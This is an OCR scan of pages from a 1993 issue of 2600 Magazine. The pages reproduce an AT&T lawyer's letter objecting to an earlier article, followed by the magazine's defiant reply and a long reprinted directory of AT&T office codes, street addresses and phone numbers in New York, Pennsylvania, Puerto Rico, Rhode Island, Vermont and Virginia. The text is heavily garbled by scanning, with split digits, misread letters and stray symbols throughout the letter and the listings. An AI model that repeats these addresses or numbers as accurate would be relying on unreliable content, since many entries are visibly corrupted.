R. A. Ryan 1 3 1  MOrrlS:�1wn Roa\J 
�· ��r.�rr a ' l(  .:: rd C ... ·.) y r ,qht  �::orrf.!v SaSK·ng R.ege. � IJ 07!:l20· H 550 

'lOS 2{)4·d4 I J  

E r i c  Corley 
P .  O .  Box � 9  
Mi ddl e I s l and 
New York 1 1 9 5 3 - 0 0 9 9  

Dear Mr .  Corley : 

;:'I\X 908 204--85'37  

Apr i l  1 3 , 1 9 9 3  

I have been informed that the Wint er 1 9 9 2 - 9 3 edi t i on o f  
your publ i c a t i on 2 6 0 0  Magaz ine includes material copied 
f rom AT&T ' s East ern Area Direct ory . 

The mat erial cop i ed by you is proprietary to AT&T and 
subj e c c  to the protect ion of state and f ederal law 
including The Copyright Law of the Uni ted S tates . 

AT&T w i l l  take immediate act ion to prot e c t  i t s  
propri e t ary informat i on and i t s  copyrighted property i n  
t h e  event you pers i s t  with its publ i ca t i on . 

Very truly yours , 

�/-? 4 r!-r--R .  A. Ryan 

They just Rever step trying to intimidate us with these ridiculous letters! What 

AT&T seems tfJ heleve is that a list of where their offices are ("Is AT&T Hiding 

Near You", WilMer 1992.93, page 36) constitutes proprietary infonnation. This 

kiNt of ahsanIly IIIIIY wel'k within AT&T's hallowed halls but we're trying to exist 

ta the real werid. The geed folks at AT&T should consider j oining us there 

someday. Until they do, they should take note that their threats will only serve to 

embarrass them and that further threats or attempts to prevent us from printing 

infermation will be met with strong legal action. With this is mind, .we'd like to 

dedicate the next few pages to AT&T. 
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PART TWO 
NEW VORK 

NY5430, 17 C H U R C H  RD, AIRMDNT,  1 0901 
NY7950, 1 450 WESTERN AVE, ALBANY, 1 2203, 5 1 84543500 
NY0200, 1 58 STATE ST, ALBANY, 1 2207, 5 1 847 1 4580 
NY4020, 16 CORP WOODS BLVD, ALBANY, 1 2 2 1 1 , 5 1 84476800 
NY1 250, 26 AVIATION RD,  ALBANY, 1 2205, 5 1 848946 1 5  
NY3790, 9 9  WAS H I N GTON A V E .  ALBANY, 1 2200, 5 1 84633 107 
NY3880, R D  lIRT 69, AMBOY CENTER,  1 3493 
NYA040, 1 1 0 JOH N  M U I R  DR, A M H E RST, 1 4228 
NYK400, 2775 M I L L E R S PORT HWY, A M H E R ST, 1 4068 
NY3470, 722 ALBE RTA DR, AMHERST, 1 4226, 7 1 68323700 
NY348 1 ,  3 2 � 2 1  STEINWAY ST, ASTORIA, 1 1 103 
NY5730, 580 ORTNER RD,  ATTICA, 1 40 1 1 
NV3438, 830·4 S U N R I S E  HWY, BAY SHORE.  1 1 706. 5 1 666560 1 6  
NY8350, 1 30 CONKLIN AVE, B I N G HAMTON, 1 3903 
NY1 400, 64 H E N R Y  ST, B I N GHAMTON, 1 390 1 , 6077730 1 00 
NY5080, 6 1 0  J O H N S O N  AVE, BOHE MIA, 1 1 7 1 6  
NYK082, 325 5 H I G H L A N D  AVE, BRIARCLIFF

' 
MANOR, 1 0 5 1 0  

NY3434, 2532 G R A N D  CONCOURSE,  B R O N X ,  1 0458, 2 1 23658831 
NY7540, 310 WALTON AVE, BRONX, 1 045 1 ,  2 1 22928 1 2 1  
NY9000, 3 3 1 9  DELAVALL AVE, BRONX,  1 0475, 2 1 23258774 
NY6025, 1 4 1 6  KINGS HWY, BROOKLYN, 1 1 229, 7 1 8376i090 
NY8050, 170 27TH ST, BROOKLYN, 1 1 232, 7 1 89658640 
NY6880, 1 88 MONTAGUE ST, BROOKLYN, 1 1 2 0 1 ,  2 1 28759931 
NY2080, 2618 FULTON ST, BROOKLYN, 1 1 207, 7 1 84989937 
NY6008, 420 F U LTON ST, BROOKLYN, 1 1 201 , 7 1 88349 1 34 
NY6005, 8802 FIFTH AVE, BROOKLYN, 1 1 209, 7 1 82383660 
NY9469, 2225 K E N M O R E  AVE, B U F FALO, 1 4207 
NY3725, 2245 KENMORE AVE, BU FFALO, 1 4207 
NY8440, 300 PEARL ST, BU FFALO, 1 4202, 7168496000 
NY0700, 65 FRANKLIN ST, B UFFALO, 1 4200, 7 1 68495300 
NY5030, 90 J O H N  M U I R  DR, B U F FALO, 1 4228, 7 1 668843 1 5  
NY343 1 ,  1 83 O L D  COU NTRY RD, CARLE PLACE, 1 1 5 1 4, 

5 1 67473 1 7 3  
NYK030, 47 BREWSTER A V E ,  CARMEL, 1 0 5 1 2 ,  9 1 4225 1 0 1 3  
NY73oo, 1 1 1  BRIG HTSIDE AVE, CE NTRAL ISLIP,  1 1 722,  

5 1 62349 6 1 8  
NY3480, 1�90 & WALDEN A V E ,  CHEE KTOWAGA, 1 4225 
NY57 1 0 ,  2 DERBYS H I R E  RD, CLARKSVILLE, 1 2041  
NYA050, 300 CLIFTON CORP PARK,  CLIFTON PARK,  1 2065 
NYA720, RR2 BOX 367, COLD S P R I N G, 1 0 5 1 6  
NYO l 1 6, 26 COMPUTER DR W, COLONIE,  1 2205, 5 1 84829200 
NY8990, 3 C E R O N E  DR, COLONIE,  1 2200, 5 1 84530735 
NY263 1 ,  421  NEW KAR N E R  RD, COLO NIE,  1 2205 
NYK010, 65 WOLF RD, COLO N I E ,  1 2 205, 51 84589422 
N Y 1 660, 80 E MARKET ST/#20 1 ,  C O R N I N G ,  1 4830, 607g364 1 7 1  
NY3457, 3485 E E R I E  BLVD, DE WITT, 1 3 2 1 4, 3 1 54468 1 37 
NV8330, 6597 K I N N I E  RD/#2FLR, DE win. 1 3 2 1 4  
NYSYOO, 3 2 0  T H O M PSON R D ,  EAST 

SYRACU S E ,  1 3057, 3 1 54324400 
NY3720, 2 WESTCHESTER PLZ, ELMSFORD, 1 0523, 91 45925120 
NY9 1 50, 200 CLEARBROOK RD, ELMSFORD, 1 0523 

. 

NY0040, 8 1 4  F U LTON ST, FAR M I N G DALE, 1 1 735 
NY2850, 285 S HAW RD, FARNHAM, 1 4068 
NY9840, 37� 1 4  COLLEGE BLVD, F L U S H I N G ,  1 1 354 
NY7240, 4645 KISSENA BLVD, F L U S H I N G ,  1 1 355, 7 1 85399935 
NY3040, 1 1 833 O U E E N S  BLVD, FOREST HILLS, 1 1 375, 

7 1 88307200 
NY3408, 6 1 ·22 188 sT, FRESH M EADOWS, 1 1 354, 7 1 82 1 7 1 405 
NY98 1 0 ,  1 1 00 STEWART AVE, GARDEN CITY, 1 1 530 
NY04 1 0, 741 . ZECKENOORF BLVD, GARDEN CITY, 1 1 530. 

5 1 62228750 
NY3Uoo. 990 STEWART AVE. GARDE N CITY; 1 1 530 
NY8570. 1 FRANKLIN SO, G E N EVA, 1 4456 
NY3468. 800 NORTHERN BLVD. G REAT NECK, 1 1 021 . 

51 648252Q5 
NY3736. 415 OSER AVE. HAUPPAUGE. 1 1 788 
NY6023, 1 27 F U LTON AVE. H E M PSTE"'D. 1 1 550. 5 1 �2923925 
NY1 850. 235 MIDDLE AVE. H E N R IETTA. 1 4467 
NY8270. 4 1 9  WARREN ST. H UDSON, 1 2534 
NY3590. 1 444 E JERICHO TPKE. HUNTINGTON. 1 1 743, 

5 1 64243000 
NY3450. 37 GERARD ST, H U NTINGTON. 1 1 743. 5 1 63 5 1 5 3 1 0  
NY8240. 6 0 9  W CLINTON S T .  ITHACA. 1 4850 
NY3430, 5 1 1  N BROADWAV, J ERICHO, 1 1 753, 5 1 69338791 
NY3010. RR 6 BOX X/#C. KINGSTON. 1 2401 
NY3439. 2 0 1 5  SMITH HAVEN PLZ. LAKE G ROVE. 1 1 755. 

5 1 67240445 

NYA730, 7461 H E N R Y  CLAY BLVD, LIVERPOOL, 1 3088 
NY9720, 3245 RT 1 1 2 ,  M E DFORD, 1 1 763 
NY2090, 225 BROAD HOLLOW RD, M E LVILLE,  1 1 747, 51 67523900 
NY3090, 520 BROAD HOLLOW RD, M E LVILLE.  1 1 747, 51 64201 660 
NY7200, 99 E 2ND ST, M I N EOLA. 1 1 50 1 , 5 1 67 479933 
NY8280, 202 BROADWAY, MONTICELLO, 1 27 0 1  
NV4600, 6 9 9  MAIN S T ,  MOUNT K I S C O ,  1 0549, 9 1 42 4 1 4440 
NY3424, 201  N A N U E T  MALL, N A N U ET, 1 0954. 9 1 46230237 
NY0370, 1 PENN PLZ, NEW YORK, 1 0000, 2 1 27 1 45900 
NY7340, 1 00 C H U R C H  ST, NEW YORK, 1 0007, 2 1 29642 1 45 
NY7550, 1 250 BROADWAY, NEW YORK, 1 000 1 . 2 1 27649502 
NY7390, 1 290 AVE OF THE AMERICAS, NEW YORK, 1 0 1 04, 

2 1 26033 132 
N V7500, 1 372 BROADWAY, NEW YORK, 1 00 1 8, 2 1 23986860 
NY7 1 80, 1 44 E 44TH ST, NEW YORK, 1 0 0 1 7 ,  2 1 29720356 
NY3483, 1 8  JOHN ST, NEW YORK, 1 0038 
N Y 1 590, 195 BROADWAY, NEW YORK, 1 0007, 2 1 23357700 
N Y7 1 60, 2 PARK AVE, NEW YORK, 1 0 0 1 6 , 2 1 26961 724 
NY40 1 0 ,  2 WORLD TRADE CENTER, NEW YORK, 1 0048. 

2 1 28397700 
NY347 1 ,  2 0 1 5  BROADWAY, NEW YORK, 1 0023, 2 1 2496 1 1 24 
NY3003, 22  CORTLAND ST, NEW YORK. 1 0007, 2 1 23939800 
NY2010.  227 E 56TH ST, NEW YORK, 1 0022,  2 1 25933225 
NY3453, 233 E 86TH ST, NEW YORK. 1 0028. 2 1 22890800 
NY7370, 250 E 73RD ST, NEW YORK, 1 002 1 , 2 1 2 4722885 
NY8090, 250 W 54TH ST/# l ,  NEW YORK, 1 0 0 1 9. 2 1 29563424 
NY3400, 278 8TH AVE, NEW YORK, 1001 1 , 2 1 2741 0393 
NY347 7 ,  31 E 1 7TH ST, NEW YORK, 1 0003 
NY00 1 0, 32 AVE OF THE AMER ICAS, NEW YORK, 1 00 1 3, 

2 1 2 2 1 96000 
NY02 1 0 ,  33 THOMAS ST, NEW YORK. 1 0007, 2. 1 2 5 1 32200 
NY2932, 360 PARK AVE 5, NEW YORK, 1 0 0 1 0, 2 1 27258639 
NY7440, 395 H U DS O N  ST, NEW YORK, 1 00 1 4. 2 1 26208700 
NY7 1 90, 40 RECTOR sT, NEW YORK, 1 0006 
NY4070, 55 BROADWAY, NEW YORK, 1 0006, 2 1 25095780 
NY5500. 550 MADISON AVE. NEW YORK. 1 0022. 2 1 26055500 
NY99 1 4, 553 2ND AVE, NEW YORK. 1 0 0 1 6  
NYOOO3, 6 Y O R K  S T ,  N E W  YORK. 1 00 1 3 , 2 1 2393681 5  
NY2922. 7 1  W 23RD sT, NEW YORK. 1 0 0 1 0. 2 1 29294832 
NY3474, 730 COLUMBUS AVE. NEW VORK. 1 0025 
NY345 1 ,  8 W 40TH sT, NEW YORK. 1 0 0 1 8 . 2 1 29445960 
NY4960, 8 1 1  1 0TH AVE. NEW YORK. 10019.  2 1 2903681 3  
NY5925, 888 7TH AVE. N E W  YORK, 1 0 106. 2 1 22658040 
NY6009, 9505 63RD DR/#A, NEW YORK. 1 1 374. 7 1 8897U36 
NY81 60, 305 PLA N K  R D  N.  NEWBURGH.  1 2550 
NY1 560, 25 J O H N  G L E N N  DR, NORTH TONAWAN DA, 

1 4 1 20, 7 1 669 1 27 1 1  
NY9040. 1 B L U E  H I L L  PLZ. PEARL RIVER, 1 0965, 9 1 47350000 
N Y9 1 90. 1 PARK ST. PEEKSKILL,  1 0566 
NY4090, 45 SERVICE R D  5, PLAINVIEW. 1 1 803. 5 1 67569330 
NY99 1 1 .  34 HAMMON D LN, PLATTS B U R G H .  1 2901 
N Y l 3 0 1 ,  66 FAIRVIEW AVE. POUGHKEEPSIE.  1 260 1 , 9 1 44520097 
NY3473. 790 SOUTH RD, POUGHKEEPSIE,  1 2601 
N Y 1 VOO. 2 MAN HATTANVILLE RD. PURCHASE. 1 0577. 

9 1 42 5 1 0700 
. 

NY01 00. 9403 O U E E N S  BLVD. R E G O  PARK. 1 1 374. 7 1 85204880 
NYA800, 1 MARINE M I D LAND PLZ/# 1 1 33,  ROCHESTER. 1 4604. 

7 1 6777441 2  
NY0740. 1 2 0  PLYMOUTH AVE. ROCHESTER. 1 4600, 7 1 69876800 
NY260 1 .  1 50 MAIN ST E;  ROCHESTER, 1 4600, 7 1 69872000 
NYA250. 255 EAST AVE, ROCHESTER. 1 4604 
NY60 1 0. 265 S U N R I S E  HWY, ROCKVILLE CTR, 1 1 570. 5 1 65361 835 
NY8 1 80, 1 48 E R I E  BLVD. ROME.  1 3440 
NYK1 10.  9·1 1 FEDERAL ST, SARI\TOGA SPRINGS. 1 2866 
NY8560. 2795 HAMBURG ST. SCHENECTADY. 1 2303, 

5 1 83565426 
NYK1 00. 670 FRANKLIN ST, SCHENECTADY. 1 2305 
NY2377, 55 MAPLE AVE. SMITHTOWN. 1 1 787 . � 5 1 63618100 
NY9070. 400 AIRPORT EXECUTIVE PARK, SPRING 

VALLEY. 1 0977, 9 1 44252163 
NY3455. 2826 HYLAND BLVD. STATEN ISLAND. 1 0306, 

7 1 88870323 
NYNsoo. 286 RICHMOND VALLEY RD, STATEN ISLAND. 1 0309, 

7 1 89841970 
. 

NY5890, 22  H E M I O N  RD. SUFFERN.  1 090 1 .  9 1 457I8800 
NY0820, 201 STATE ST S.  SYRACUSE.  1 3202. 3 1 54701 509 
NY4690. 300 STATE sT S. SYRACUSE. 1 3202, 3 154704000 
NVK 1 2 1 ,  300 WAS H I N GTON ST E. SYRACUSE. 13202. 
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31 54794993 
NY8360, 620 ERIE BLVD W, SYRACUSE, 1 3204 
NY8040, 6597 K INNIE  RD/#2, SYRACUSE, 1 3 2 1 4, 3 1 54453800 
NY8220, 6741 THOMPSON RD, SYRACUSE, 1 3 2 1 1 , 3 1 54324400 
NY5850, 555 WHITE PLAINS RD, TARRYTOWN, 1059 1 ,  

9 1 439002 1 9  
NY5720, NORTH A D  RR 3 B O X  301 ,  TULLY, 1 3 1 59, 3 1 56968926 
NY30BL, BROOKHAVEN NATIONAL LABS, U PTON, 1 1 973 
NYK1 40, 1 750 GENESEE ST, UTICA, 1 3502, 3 1 57352200 
NY81 90, 601 STATE ST, UTICA, 1 3502, 3 1 57332088 
NY9 1 60, 1 00 S U M M IT LAKE DR, VALHALLA, 1 0595 
NY9080, 1 1 5  E STEVENS AVE, VALHALLA, 1 0595, 9 1 47472021 
NY4440, 441 COMMERCE RD, VESTAL, 1 3850 
NYB1 50, SEAWAY PLAZA RT1 1 BLOGS. WATERTOWN, 1 3601 
NY60 1 5, 60 SE NECA MALL, WEST SENECA, 1 4224, 7 1 68256066 
NY1 990, 1 N LEXI NGTON AVE, WHITE PLAI NS, 1 0601 ,  

9 1 43975000 
NY1 060, 1 1  MAIN ST, WHITE PLAI NS, 1 0601 
NY9050, 14 FISHER LN,  WHITE PLAI NS, 1 0603, 9 1 45642069 
NY3435, 170 E POST R D, WHITE PLAINS, 1 0601 , 9 1 46835886 
NY1 970, 245 MAIN ST, WHITE PLAI NS, 1060 1 ,  9 1 49932601 
NY1 070, 360 HAMILTON AVE, WHITE PLAI NS, 1060 1 ,  9 1 43975000 
NY2660, 400 HAMI LTON AVE, WHITE PLAI NS, 1 0601 , 9 1 43975000 
NY5530, 440 HAMILTON AVE, WHITE PLAI NS, 1 0601 , 9 1 43975000 
NY3688, 1 4202 20TH AVE, WHITESTONE, 1 1 357, 2 1 28707000 
NY8 1 1 0, 105 S LONG ST, WILLIAMSVILLE, 1 422 1 , 7 1 66341 237 
NY7220, 750 WOODBURY RD, WOODBURY, 1 1 797, 5 1 64964300 
NY602 1 ,  4 XAVIER DR, YONKERS, 1 0704, 9 1 44764876 
NY9 1 00, 2050 SAW MILL RIVER RD, YORKTOWN HEIGHTS, 

1 0598 
NY3479, 650 LEE BLVD, YORKTOWN HEIGHTS, 1 0598 

PENNSYLVANIA 
PA7970, 1 IM PERIAL WAY, ALLENTOWN, 1 8 1 00, 2 1 53985800 
PA1830, 1 247 S CEDAR CREST B LVD, ALLENTOWN, 

1 8 1 03, 2 1 57702900 
PACLOO, 1 259 CEDAR CREST BLVD, ALLENTOWN, 1 8 1 03 
PAN070, 350 MAIN ST E,  ALLENTOWN, 1 8 1 06, 2 1 53986481 
PA1820, 555 U N I O N  BLVD, ALLENTOWN, 1 8 1 03, 2 1 543960 1 1 
PA8600, 620 E ROCK RD, ALLE NTOWN, 1 8 1 02 
PA9505, 881 MARCON BLVD, ALLENTOWN, 1 8 1 03 
PAH500, 1 1 0  3RD AVE, ALTOONA, 1 6602 
PA5430, 3 4 1 5  PLEASANT VALLEY BLVD, ALTOONA, 1 6602, 

8 1 49420867 
PA41 30, 3 BALA PLZ, BALA CYNWYD, 1 9004, 2 1 5581 4000 
PA4960, 38TH & 4TH AVES, BEAVER FALLS, 1 50 1 0, 4 1 28438235 
PAG360, 701  E 3RD ST, BETH LEHEM, 1 8 0 1 5, 2 1 58658001 
PA4660, OLD RTE 22 E, BLAIRSVILLE, 1 5 7 1 7  
PA4270, 660 M A I N  5 T  W, BLOOMSBURG, 1 7 8 1 5, 7 1 77840033 
PA9 1 20, 1 787 S E NTRY PKY W, BLUE BELL, 1 9422 
PA3204, 5 SE NTRY PKY E, BLUE BELL, 1 9422 
PA0010,  BOX A, BLUE RIDGE S U M M IT, 1 7 2 1 4  
PA4930, 4 0  RUTHERFORD R U N ,  BRADFORD, 1 67 0 1 , 81 43685120 
PAE200, 9901  HAMILTON BLVD, BREIN IGSVILLE, 1 803 1 ,  

2 1 5391 2000 
PA9797, 1 9 ' 1 S SPROUL RD, BROOMALL, 1 5008 
PA6600, RD3 BECK RD, BUTLER, 1 600 1 , 4 1 22876746 
PAH400, 2 1 4  SENATE AVE, CAM P H ILL, 1 7 0 1 1 ,  7 1 77 3 1 6600 
PA347 1 ,  S 32ND & TRIN DLE RD, CAM P HILL, 1 70 ' 1 , 7 1 79750784 
PA4090, RDl BOX 1 33 RT 519 S,  CANONSBURG, 1 5 3 1 7 ,  

4 1 27450058 
PA4320, 250 MOUNT LEBANON BLVD, CASTL SHAN NON, 

1 5234, 41 2561 3400 
PA3752, 2200 N IRVING ST, CATASAUOUA, 1 8032 
PAG980, RR 3 BOX 49, CATAWISSA, 1 7820 
PA4580, BRAN DYWI N E  2 BLDG, CHADDS FORD, 1 9 3 1 7 ,  

2 1 5641 8900 
PA3644, RD 3 BOX 988, DUBOIS,  1 5801 
PA9 1 30, 300 MORRISON AVE, EASTON, 1 8042 
PA3765, 2700 W 2 1 ST ST, ERIE, 1 6506 
PA6920, RD2 BOX 67 OLD PLAIN RD, F I N LAND, 1 8073 
PA1 940, RR 1 BOX 365, FOMBELL, 1 6 1 23 
PAH490, 1 060 VIRGINIA DR, FORT WASHINGTON, 1 9034, 

2 1 55405900 
PA3472, RT 30 E WESTMORELAN D MALL, GREENSBURG, 

1 5601 , 41 28362505 
PA6790, RD3 BOX 445, HANOVER, 1 7331 
PA5 1 50, 345 MAIN ST HARLEY MALL, HARLEYSVILLE, 1 9438, 

2 1 52564443 
PA0690, 2 1 0  PINE ST, HARRISBURG, 1 7 1 00, 7 1 72555840 
PAK640, 2407 PARK ST, HARRISBURG, 1 7 1 1 0  
PA5280, 4251 CHAMBERS HILL  R D, HARRISBURG, 1 7 1 1 1 ,  

7 1 75581 300 
PA8470, 6340 FLANK DR, HARRISBURG, 1 7 1 85 
PA8430, 309 MAIN ST PO BOX 377, HAWLEY, 1 8425 

PA7850, RR 1 BOX 672, HAWLEY, 1 8428 
PA8420, RT 6 HCR2 BOX 429, HAWLEY, 1 8428 
PA51 30, 2 1 4  W 2 1 ST ST, HAZLETON, 1 8201 
PA8410,  231-251  GIBRALTER RD, HORSHAM, 1 9044 
PA3409, 1 1 3 TOWN CTR RD, KING OF PRUSSIA, 1 9406, 

2 1 52652634 
PA3725. 251 W DEKALB PIKE, KING OF PRUSSIA, 1 9406, 

2 1 52650057 
PA4620, 601 ALLEN DALE RD, KING OF PRUSSIA, 1 9406, 

2 1 57682600 
PA0390, 1 26 N DUKE ST, LANCASTER, 1 7 602, 7 1 72957930 
PA5460, 1 887 LITITZ PIKE, LANCASTER, 1 7601 ,  7 1 7 5694702 
PA4980, 38 INDUSTRIAL CIR, LANCASTER, 1 7601 
PA3478, 5 1 4  OXFORD VALLEY RD, LANGHORN BORO. 1 9047 
PA8640, 1 7835 PENN ST, LAURELTON, 1 7835 
PA5 1 1  0, 7801 NEW FALLS RD/#8, LEVITTOWN, 1 9055, 

2 1 59469347 
PA7300, BOX 469, LYNN TWP, 1 8066 
PA4360, 195 VALLEY HILL RD W, MALVER N ,  1 9355, 2 1 53632800 
PAH640, FUR NACE RD-RT22 BOX 356, MC VEYTOWN, 1 7051 
PA3438, 211  W STATE ST, MEDIA, 1 9063, 2 1 55662033 
PA3469, 346 MON ROEVILLE MALL ANNEX, MONROEVILLE, 

1 5 1 46, 4 1 28560475 
PA4430, 3447 WILMINGTON RD, NEW CASTLE, 1 6 1 05, 

4 1 26587781 
PA4860, 408 STATE ST,  NEWTOWN, 1 8940 
PA3750, 4651 -55 WEST CHESTER PIKE, NEWTOWN SOUARE, 

1 9073 
PA3439, 22 AIRPORT SO/RTS 309 & 63, NORTH WALES, 1 9454, 

2 1 5643 1 5 2 1  
PAK250, 1 422 W PASSYUNK AVE, PHILADELPHIA, 1 9 1 45, 

2 1 59521 800 
PAG600, 1 500 MARKET ST, PHILADELPHIA, 1 9 1 02, 2 1 5963 1 700 
PAH310,  1 600 MARKET ST, PHILADELPHIA, 1 9 1 03, 2 1 55574375 
PA600 1 ,  1 7 1 3  CHESTNUT ST, PHILADELPHIA, 1 9 1 03,  2 1 5568 1 177 
PAEEOO, 1 800 JFK B LVD, PHILADELPHIA, 1 9 1 03, 2 1 59721 300 
PA3728, 1 8 1 9  JFK BLVD/#360, PHILADELPHIA, 1 9 1 03, 2 1 5864031 4  
PAK240, 1 835 ARCH ST, P H I LADELPHIA, 1 9 1 03, 2 1 5751 1 5 1 5  
PA4520, 2000 MARKET ST, PHILADELPHIA, 1 9 1 03, 2 1 59771 900 
PA5450, 32 1 0  CHERRY ST, PHILADELPHIA, 1 9 1 04, 2 1 524300 1 1 
PA5350, 3624 MARKET ST, PHILADELPHIA, 1 9 1 04, 2 1 58235300 
PAE720, 500 S 27TH ST, PHILADELPHIA, 1 9 1 46, 2 1 58754520 
PA3 4 1 7 ,  501 ADAMS AVE, PHILADELPHIA, 1 9 1 20, 2 1 57457000 
PA8440, 7821 BARTRAM AVE, PHILADELPHIA, 1 9 1 53 
PA4 1 70, 841 CHESTNUT ST, PHILADELPHIA, 1 9 1 07, 2 1 55927980 
PA4030, YORK ST & ARAM INGO AVE, PHILADELPHIA, 1 9092, 

2 1 54266002 
PAB860, BOX 88, PINE GROVE, 16963 
PA3473, 1000 ROSS PARK MALL MCKNIGHT RD N, PITTSBURGH, 

1 52 1 4, 4123669210 
PA3455, 126 HIGHLAND AVE S, pmSBURGH, 15206, 4126612996 
PA5260, 2 ALLEGHENY CTR, PITTSBURGH, 15212, 4123592600 
PAK650, 206 SIEBERT RD, pmSBURGH, 15237 
PAPFoo, 4 GATEWAY CTRI#500, pmSBURGH, 15122, 41 23928200 
PA5360, 4 STATION SQlCOMMERCE CT BLDG, PITTSBURGH, 1 5219, 

4123941000 
PAOO70, 416 7TH AVE, PITTSBURGH, 1 5219, 4122277450 
PA4970, 470 STREETS RUN RD, PITISBURGH, 15236, 4128821840 
PAH220, 5500 CORPORATE RDR IMC CANDLESSI. pmSBURGH, 15237, 

41 23963000 
PAG510, 600 GRANT ST, pmSBURGH, 1 5219, 4126427000 
PA7600, 635 GRANT AVE, P1TTSBURGH, 1 5219, 4122277275 
PA5120, 6585 PENN AVE, pmSBURGH, 15206, 4126616065 
PA3420, 671 WASHINGTON RD, PITISBURGH, 15228, 4125630030 
PA4060, 825 PARISH ST, pmSBURGH, 15220, 4129225967 
PA5310, 2ND & LAIRD STS, PLAINS, 18705 
PA5620, 1 25 PORTEK RD, POTISTOWN, 19464, 2153261684 
PA4450, 450 CLAUDE LORD BLVD N, POTTSVILUE, 17901, 7176224699 
PA4000, 201 KING OF PRUSSIA RD, RADNOR, 19087, 2153414325 
PA863Q, 1 83  MCAURTHUR, READING, 19605 
PA9300, 2525 N 12TH ST/#13396, READING, 19612, 21 593970 1 1  
PA6010, 3050-19 N 5TH ST, READING, 19605, 2159213546 
PA06OO, 121 ADAMS AVE, SCRANTON, 18503, 7173463694 
PA0320, 1 489 BALTIMORE RD, SPRINGFIELD, 19104 
PA5050, STATE & SPROUTE RDS, SPRINGFIELD, 19064, 2153287490 
PA4260, 1 1 05 COLUEGEAVE W, STATE COLLEGE, 16801, 8147658501 
PA3761 , 1 LINE ST, THROOP, 18512 
PA4300, 921 MARKET ST, WARREN, 16365, 8147260027 
PA6900, 549 RT 97 S, WATERFORD, 16441 
PAH210, 170 WARNER RD S, WAYNE, 19087, 215341 5000 
PA6120, 190 WARNER RD S, WAYNE, 19087 
PA4220, 60 WEST AVE, WAYNE, 19087, 2156877000 
PA3730, 1378 HOFFMAN, WEST MIFFLIN, 15122 
PA3470. 3075 CLAIRTON RD, WEST MIFFLIN, 15123, 4128568800 

Summer 1993 2600 Magazine Page 37 



PA3475, 539 WHITEHALL MALL. WHITEHALL. 18052 
PA4690, 201 BASIN ST, WlUlAMSPORT, 17701, 717327� 
PA0420, 404 W 4TH ST, WlUlAMSPORT, 17701, 7173221932 
PA3474, 2500 MORELAND RD/I3(104, WILLOW GROVE, 19090 
PA2070, 8006 SOUTHAMPTON AVE, WYNDMOOR, 191 18 
PA4710, 308 E LANCASTER AVE, WYNNEWOOD, 19096 
PAS229, 199 AVE B, YOUNGWOOD, 15697, .129251500 

PUERTO RICO 
PR0160, 818 PONCE DE LEON AVE, SANTURCE, 00619, 6097212520 
PR0140, 954 PONCE DE LEON AVE, SANTURCE, 00619 

RHODE I8I.AND 
RI905O, 166 ANTHQNY RD, PORTSMOUTH, 02871, 4016832617 
RI9709, 1 AT&T PL. PROVIDENCE, 02903 
RMl270, 1 EMPIRE PI2. PROVIDENCE, 02903, BOO2220300 
R1022O, 1 GREENE ST, PROVIDENCE, 02901 
RI043O, 1 LA SALLE Sa. PROVIDENCE, 02903 
RI045O, 10 ORMS ST, PROVIDENCE, 02904, 4012763300 
R16OO1,  151 WESTMINSTER ST, PROVIDENCE, 02903, 4012735990 
AI0260, 234 WASHINGTON ST, PROVIDENCE, 02903, 4018316610 
RI903O, 770 MAIN ST N, PROVIDENCE, 02904, 4012729595 
R19070, 2 THURBER BLVD, SMITHFIELD, 02917 
R191 10, 295 SHANNOCK RD, WAKEFIELD, 02879 
RI3410, 399 BALD HILL RD, WARWICK, 02886 

VERMONT 
VTB99O, AMES PlZ RT 302, BERLIN, 06602 
VT0210, 126 ODLLEGE ST/II3A. BURLINGTON, 05401 
VT9Q4O, 5 BURLINGTON Sa. BURLINGTON, 05401, 6026589277 
VT4BOO, 30 HERCULES DR, ODLCHESTER, 05446 
VT902O, 7 ODURT Sa. RUTLAND, 05701, 8027753448 
VTOll0, 29 GATES ST, WHITE RIVER JUNCT, 05001 ,  8022959967 

-
VAK020, 101 LEADBEATER ST, ALEXANDRIA, 22305, 70354B0974 
VAE09O, 2730 EISENHOWER AVE, ALEXANDRIA, 22314, 7033292100 
VAS12O, 4B09 EISENHOWER AVE, ALEXANDRIA, 22304 
VAN250, 5701 GENERAL WASHINGTON DA/#G, ALEXANDRIA, 22312 
VA 1340, 5103 BACKUCK RD/#C, ANANDALE, 22003 
VA192O, 1201 S HAYES ST,ARLINGTON, 22002, 703685B500 
VA7f!13O, 1660 WILSON BLVD, ARLINGTON,22209, 7032474700 
VA0270, 1821 JEFFERSON DAVIS HWY, ARLINGTON, 22202, 

70382()f{/74 
VA1710, 1901 N MOORE ST, ARLINGTON, 22209, 7032430106 
VA1230, 5301 22ND ST N, ARLINGTON, 22205, 7035369100 
VA44BQ, 900 S WALTER REED DR, ARLINGTON, 22204 
VA4090, BOWLING GREEN S. A., BOWLING GREEN, 22427 
VI>EII0, 2671 LEE HWY, BRISTOL. 24201 
VA0460, 3725 CONCORDE PKY, CHANTILLY, 22021 
VA0030, 1430 E HIGH ST, CHARLOTIESVILLE, 22901 
VA1700, 1601 SARA DA/#G, CHESAPEAKE, 23320, 8045234000 
VA3701,  3302 S MILITARY HWY, CHESAPEAKE, 23323 
VA6Q14, 870 GREENBRIER CIR, CHESAPEAKE, 23320 
VA1B90, 1 1300 IRONBRIDGE RD, CHESTER, 23831, 6047460390 
VA1610, 302 MAIN ST, CHRISTIANSBURG, 24073, 70367999B3 
VA2270, 730 MAIN ST, DANVILLE, 24541 
VA1820, RT 2 BOX 421, DILLWYN, 23936 
VN:B:XJ, 10530 ROSEHAVEN ST, FAIRFAX, 22030, 703691551 1 
VA3428, 1 1750 FAIR OAKS, FAIRFAX, 22033 
VAB3BO, 27200 PROSPERITY AVE, FAIRFAX, 22031 
VA 1830, 2730 PROSPERITY AVE, FAIRFAX, 22031, 703S190700 
VAD12O, 3201 JERMANTOWN RD, FAIRFAX, 2203O, 70335B4000 
VA1650, 3909 RAlLAOADAVE, FAIRFAX, 22030, 70347B0095 
VAC790, 3949 PENDER DR, FAIRFAX, 22030, 7036917549 
VANROO, RT 679 - NEW RIV VLYWORKS, FAIRLAWN, 24141, 

7037318000 
VA3406, 8201 ARLINGTON BLVD, FALLS CHURCH, 22044, 7035323009 
VA4340, RT 221 - BRIAAWOOD, FOREST, 24551 
VA7920, 523 GEORGE ST, FREDERICKSBURG, 22401 
VA1500, 716 WESTWOOD OFFICE PARK. FREDERICKSBURG, 22401, 

7033718750 
VA3420, 192 NEW MARKET FAIR, HAMPTON, 23605, B043880632 
VA4300, 1 1 820 LEESBURG PIKE, HERNDON, 22070, 7034305060 
